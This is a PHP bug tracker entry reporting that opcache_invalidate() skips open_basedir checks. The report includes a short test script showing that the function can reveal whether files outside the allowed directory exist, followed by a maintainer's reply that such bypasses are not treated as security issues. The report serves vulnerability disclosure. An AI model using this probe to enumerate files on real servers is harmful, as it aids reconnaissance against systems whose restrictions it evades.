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Bug #81230 open_basedir bypass through opcache_invalidate()
Submitted: 2021-07-07 18:50 UTC Modified: 2021-07-12 17:24 UTC
From: jeffbencteux at gmail dot com Assigned:
Status: Open Package: opcache
PHP Version: 8.0.8 OS: Debian 10
Private report: No CVE-ID: None
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 [2021-07-07 18:50 UTC] jeffbencteux at gmail dot com
Description:
------------
Similar to bug #81131.

It is possible to test for files and directories existence by using the $filename parameter of the opcache_invalidate() PHP function, thus bypassing open_basedir restriction.

A potential attacker could enumerate files with the help of a dictionary.

The root cause seems to be that this function does not enforce checks for open_basedir restrictions.

Test script:
---------------
<?php
/* 
Assuming:

* web root in /var/www/html/
* php.ini with open_basedir = /var/www/html/restricted

mkdir /var/www/html/restricted
echo "test" > /var/www/html/test.txt

The current file is located in /var/www/html/restricted/test.php
*/

echo opcache_invalidate("../test.txt");
?>

Expected result:
----------------
Warning: opcache_invalidate(): open_basedir restriction in effect. File(/var/www/html/test.txt) is not within the allowed path(s): (/var/www/html/restricted) in /var/www/html/restricted/test.php on line 14


Actual result:
--------------
1

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 [2021-07-12 15:35 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:35 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 
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